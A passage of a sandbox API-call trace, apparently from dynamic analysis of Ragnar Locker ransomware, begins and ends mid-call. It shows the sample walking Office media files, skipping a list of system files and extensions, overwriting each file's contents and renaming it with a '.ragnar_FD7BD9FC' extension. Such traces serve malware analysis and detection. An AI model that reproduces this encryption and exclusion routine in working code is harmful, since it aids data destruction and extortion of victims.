out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.923] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.923] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.923] GetProcessHeap () returned 0x580000 [0097.923] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.923] CloseHandle (hObject=0x10c) returned 1 [0097.923] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF" [0097.923] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF.ragnar_FD7BD9FC" [0097.923] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10301_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10301_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.931] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72c7c800, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72c7c800, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10302_.GIF", cAlternateFileName="")) returned 1 [0097.931] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.931] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10302_.GIF" | out: lpString1="BD10302_.GIF") returned="BD10302_.GIF" [0097.932] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF") returned=".GIF" [0097.932] lstrcmpiW (lpString1="BD10302_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.932] lstrcmpiW (lpString1="BD10302_.GIF", lpString2="autorun.inf") returned 1 [0097.932] lstrcmpiW (lpString1="BD10302_.GIF", lpString2="boot.ini") returned -1 [0097.932] lstrcmpiW (lpString1="BD10302_.GIF", lpString2="bootfont.bin") returned -1 [0097.932] lstrcmpiW (lpString1="BD10302_.GIF", lpString2="bootsect.bak") returned -1 [0097.932] lstrcmpiW (lpString1="BD10302_.GIF", lpString2="bootmgr") returned -1 [0097.932] lstrcmpiW (lpString1="BD10302_.GIF", lpString2="bootmgr.efi") returned -1 [0097.932] lstrcmpiW (lpString1="BD10302_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.932] lstrcmpiW (lpString1="BD10302_.GIF", lpString2="desktop.ini") returned -1 [0097.932] lstrcmpiW (lpString1="BD10302_.GIF", lpString2="iconcache.db") returned -1 [0097.932] lstrcmpiW (lpString1="BD10302_.GIF", lpString2="ntldr") returned -1 [0097.932] lstrcmpiW (lpString1="BD10302_.GIF", lpString2="ntuser.dat") returned -1 [0097.932] lstrcmpiW (lpString1="BD10302_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.932] lstrcmpiW (lpString1="BD10302_.GIF", lpString2="ntuser.ini") returned -1 [0097.932] lstrcmpiW (lpString1="BD10302_.GIF", lpString2="thumbs.db") returned -1 [0097.932] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.932] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.932] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.932] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.932] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.932] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.932] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10302_.gif")) returned 0x20 [0097.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10302_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.933] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=253) returned 1 [0097.933] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.933] GetProcessHeap () returned 0x580000 [0097.933] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.933] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.935] VirtualAlloc (lpAddress=0x0, dwSize=0xfd, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.935] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.935] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.935] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xfd, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xfd, lpOverlapped=0x0) returned 1 [0097.935] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.935] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfd, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.935] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xfd, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xfd, lpOverlapped=0x0) returned 1 [0097.936] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.936] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.936] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.936] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.936] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.936] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.936] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.936] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.936] GetProcessHeap () returned 0x580000 [0097.936] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.936] CloseHandle (hObject=0x10c) returned 1 [0097.936] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF" [0097.936] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF.ragnar_FD7BD9FC" [0097.936] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10302_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10302_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.937] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10335_.GIF", cAlternateFileName="")) returned 1 [0097.937] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.937] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10335_.GIF" | out: lpString1="BD10335_.GIF") returned="BD10335_.GIF" [0097.937] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF") returned=".GIF" [0097.937] lstrcmpiW (lpString1="BD10335_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.937] lstrcmpiW (lpString1="BD10335_.GIF", lpString2="autorun.inf") returned 1 [0097.937] lstrcmpiW (lpString1="BD10335_.GIF", lpString2="boot.ini") returned -1 [0097.937] lstrcmpiW (lpString1="BD10335_.GIF", lpString2="bootfont.bin") returned -1 [0097.937] lstrcmpiW (lpString1="BD10335_.GIF", lpString2="bootsect.bak") returned -1 [0097.937] lstrcmpiW (lpString1="BD10335_.GIF", lpString2="bootmgr") returned -1 [0097.937] lstrcmpiW (lpString1="BD10335_.GIF", lpString2="bootmgr.efi") returned -1 [0097.937] lstrcmpiW (lpString1="BD10335_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.937] lstrcmpiW (lpString1="BD10335_.GIF", lpString2="desktop.ini") returned -1 [0097.937] lstrcmpiW (lpString1="BD10335_.GIF", lpString2="iconcache.db") returned -1 [0097.937] lstrcmpiW (lpString1="BD10335_.GIF", lpString2="ntldr") returned -1 [0097.937] lstrcmpiW (lpString1="BD10335_.GIF", lpString2="ntuser.dat") returned -1 [0097.937] lstrcmpiW (lpString1="BD10335_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.938] lstrcmpiW (lpString1="BD10335_.GIF", lpString2="ntuser.ini") returned -1 [0097.938] lstrcmpiW (lpString1="BD10335_.GIF", lpString2="thumbs.db") returned -1 [0097.938] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.938] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.938] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.938] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.938] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.938] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.938] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif")) returned 0x20 [0097.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.939] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=282) returned 1 [0097.939] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x111, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.939] GetProcessHeap () returned 0x580000 [0097.939] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.939] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.940] VirtualAlloc (lpAddress=0x0, dwSize=0x11a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.940] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.940] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.940] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x11a, lpOverlapped=0x0) returned 1 [0097.940] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.940] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11a, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.940] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x11a, lpOverlapped=0x0) returned 1 [0097.941] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.941] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.941] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x11a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.941] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.941] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.941] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.941] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.941] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.941] GetProcessHeap () returned 0x580000 [0097.941] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0097.941] CloseHandle (hObject=0x10c) returned 1 [0097.941] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF" [0097.941] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF.ragnar_FD7BD9FC" [0097.941] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0097.942] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10336_.GIF", cAlternateFileName="")) returned 1 [0097.942] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0097.942] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD10336_.GIF" | out: lpString1="BD10336_.GIF") returned="BD10336_.GIF" [0097.942] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF") returned=".GIF" [0097.942] lstrcmpiW (lpString1="BD10336_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0097.942] lstrcmpiW (lpString1="BD10336_.GIF", lpString2="autorun.inf") returned 1 [0097.942] lstrcmpiW (lpString1="BD10336_.GIF", lpString2="boot.ini") returned -1 [0097.942] lstrcmpiW (lpString1="BD10336_.GIF", lpString2="bootfont.bin") returned -1 [0097.942] lstrcmpiW (lpString1="BD10336_.GIF", lpString2="bootsect.bak") returned -1 [0097.942] lstrcmpiW (lpString1="BD10336_.GIF", lpString2="bootmgr") returned -1 [0097.942] lstrcmpiW (lpString1="BD10336_.GIF", lpString2="bootmgr.efi") returned -1 [0097.942] lstrcmpiW (lpString1="BD10336_.GIF", lpString2="bootmgfw.efi") returned -1 [0097.942] lstrcmpiW (lpString1="BD10336_.GIF", lpString2="desktop.ini") returned -1 [0097.942] lstrcmpiW (lpString1="BD10336_.GIF", lpString2="iconcache.db") returned -1 [0097.942] lstrcmpiW (lpString1="BD10336_.GIF", lpString2="ntldr") returned -1 [0097.943] lstrcmpiW (lpString1="BD10336_.GIF", lpString2="ntuser.dat") returned -1 [0097.943] lstrcmpiW (lpString1="BD10336_.GIF", lpString2="ntuser.dat.log") returned -1 [0097.943] lstrcmpiW (lpString1="BD10336_.GIF", lpString2="ntuser.ini") returned -1 [0097.943] lstrcmpiW (lpString1="BD10336_.GIF", lpString2="thumbs.db") returned -1 [0097.943] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0097.943] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0097.943] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0097.943] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0097.943] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0097.943] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0097.943] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0097.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10336_.gif")) returned 0x20 [0097.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10336_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0097.943] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=204) returned 1 [0097.943] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xc3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.943] GetProcessHeap () returned 0x580000 [0097.943] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0097.943] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0097.944] VirtualAlloc (lpAddress=0x0, dwSize=0xcc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0097.944] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.945] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0097.945] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xcc, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xcc, lpOverlapped=0x0) returned 1 [0097.945] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0097.945] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcc, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.945] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xcc, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xcc, lpOverlapped=0x0) returned 1 [0097.945] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0097.945] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.945] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xcc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.945] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0097.945] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.945] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0097.946] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0097.946] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 